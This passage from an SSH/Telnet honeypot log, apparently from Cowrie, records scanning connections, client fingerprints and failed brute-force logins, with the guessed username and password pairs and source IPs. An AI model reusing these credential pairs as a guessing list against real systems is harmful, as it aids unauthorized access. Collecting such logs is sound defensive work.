{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:51.236068Z","src_ip":"159.65.58.200","session":"52736382294f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sin","password":"123456","message":"login attempt [sin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:52.626533Z","src_ip":"159.65.58.200","session":"52736382294f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:49:54.025110Z","src_ip":"159.65.58.200","session":"52736382294f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.87862968444824,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:50:19.744119Z","src_ip":"170.64.224.25","session":"fbf32eeca857","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.7.194","src_port":55514,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e9c73058e87","protocol":"ssh","message":"New connection: 182.93.7.194:55514 (159.203.135.109:22) [session: 0e9c73058e87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:50:27.901287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:50:27.906282Z","src_ip":"182.93.7.194","session":"0e9c73058e87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:50:28.122577Z","src_ip":"182.93.7.194","session":"0e9c73058e87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"techhelp","password":"techhelp123","message":"login attempt [techhelp/techhelp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:50:29.019507Z","src_ip":"182.93.7.194","session":"0e9c73058e87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:50:30.238339Z","src_ip":"182.93.7.194","session":"0e9c73058e87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":51094,"dst_ip":"159.203.135.109","dst_port":23,"session":"f34491a85591","protocol":"telnet","message":"New connection: 170.64.224.25:51094 (159.203.135.109:23) [session: f34491a85591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:50:32.555281Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":35158,"dst_ip":"159.203.135.109","dst_port":22,"session":"487a55fdd9b7","protocol":"ssh","message":"New connection: 103.122.221.179:35158 (159.203.135.109:22) [session: 487a55fdd9b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:50:46.266642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:50:46.272946Z","src_ip":"103.122.221.179","session":"487a55fdd9b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:50:46.531874Z","src_ip":"103.122.221.179","session":"487a55fdd9b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"140893","message":"login attempt [root/140893] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:50:47.311479Z","src_ip":"103.122.221.179","session":"487a55fdd9b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:50:48.575671Z","src_ip":"103.122.221.179","session":"487a55fdd9b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.190.154.85","src_port":48352,"dst_ip":"159.203.135.109","dst_port":22,"session":"16c38a6d292f","protocol":"ssh","message":"New connection: 146.190.154.85:48352 (159.203.135.109:22) [session: 16c38a6d292f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:50:52.127679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:50:52.131670Z","src_ip":"146.190.154.85","session":"16c38a6d292f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:50:52.194446Z","src_ip":"146.190.154.85","session":"16c38a6d292f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.38.41","src_port":59342,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf05fc207a49","protocol":"ssh","message":"New connection: 165.232.38.41:59342 (159.203.135.109:22) [session: cf05fc207a49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:50:52.270317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:50:52.274726Z","src_ip":"165.232.38.41","session":"cf05fc207a49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:50:52.348563Z","src_ip":"165.232.38.41","session":"cf05fc207a49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"submit","password":"submit123","message":"login attempt [submit/submit123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:50:52.477575Z","src_ip":"146.190.154.85","session":"16c38a6d292f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345ssdlh","message":"login attempt [root/12345ssdlh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:50:52.665727Z","src_ip":"165.232.38.41","session":"cf05fc207a49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:50:53.542904Z","src_ip":"146.190.154.85","session":"16c38a6d292f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:50:53.739406Z","src_ip":"165.232.38.41","session":"cf05fc207a49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":33588,"dst_ip":"159.203.135.109","dst_port":22,"session":"30c1ec7f1712","protocol":"ssh","message":"New connection: 103.27.238.116:33588 (159.203.135.109:22) [session: 30c1ec7f1712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:00.349674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:00.353910Z","src_ip":"103.27.238.116","session":"30c1ec7f1712","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:00.629086Z","src_ip":"103.27.238.116","session":"30c1ec7f1712","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mama1950","message":"login attempt [root/mama1950] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:01.426267Z","src_ip":"103.27.238.116","session":"30c1ec7f1712","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.31032919883728,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:01.865467Z","src_ip":"170.64.224.25","session":"f34491a85591","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:02.695910Z","src_ip":"103.27.238.116","session":"30c1ec7f1712","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":38564,"dst_ip":"10.17.0.5","dst_port":22,"session":"53411dcaa856","protocol":"ssh","message":"New connection: 91.92.40.4:38564 (10.17.0.5:22) [session: 53411dcaa856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:02.788738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:02.797936Z","src_ip":"91.92.40.4","session":"53411dcaa856","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:02.878904Z","src_ip":"91.92.40.4","session":"53411dcaa856","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1q2w3e","message":"login attempt [user/1q2w3e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:03.127464Z","src_ip":"91.92.40.4","session":"53411dcaa856","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:04.211520Z","src_ip":"91.92.40.4","session":"53411dcaa856","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":60694,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bc28f6f2d97","protocol":"ssh","message":"New connection: 103.27.238.120:60694 (10.17.0.5:22) [session: 3bc28f6f2d97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:18.089925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:18.093663Z","src_ip":"103.27.238.120","session":"3bc28f6f2d97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:18.372171Z","src_ip":"103.27.238.120","session":"3bc28f6f2d97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789777","message":"login attempt [root/123456789777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:19.212779Z","src_ip":"103.27.238.120","session":"3bc28f6f2d97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.66.186","src_port":35228,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c74dea19fd2","protocol":"ssh","message":"New connection: 104.236.66.186:35228 (10.17.0.5:22) [session: 1c74dea19fd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:20.178699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:20.188691Z","src_ip":"104.236.66.186","session":"1c74dea19fd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sh